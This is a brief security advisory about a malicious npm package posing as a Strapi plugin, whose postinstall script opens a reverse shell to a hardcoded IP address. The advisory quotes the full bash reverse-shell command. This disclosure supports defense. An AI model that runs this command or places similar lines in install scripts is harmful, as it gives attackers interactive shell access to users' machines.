Malicious code in strapi-plugin-yayccresh-meeb (npm)

Details

**Severity:** Critical

**Affected versions:** `= 3.6.8`

## Source: amazon-inspector (de07e63ac0a0d5b02ad74abd90d075d73e80cdfcc1bbfbdfcfbe56460354735a)
The package's postinstall lifecycle script (`node postinstall.js`) executes a bash reverse shell that connects to the hardcoded remote endpoint 14.225.210.85:443 and redirects an interactive bash session's stdio through the socket (`bash -i > /dev/tcp/14.225.210.85/443 0>&1`). Running `npm install` on this package hands interactive shell access on the installer's machine to whoever controls that endpoint. The package advertises itself as a Strapi plugin but ships no plugin functionality — the postinstall reverse shell is the entire payload.
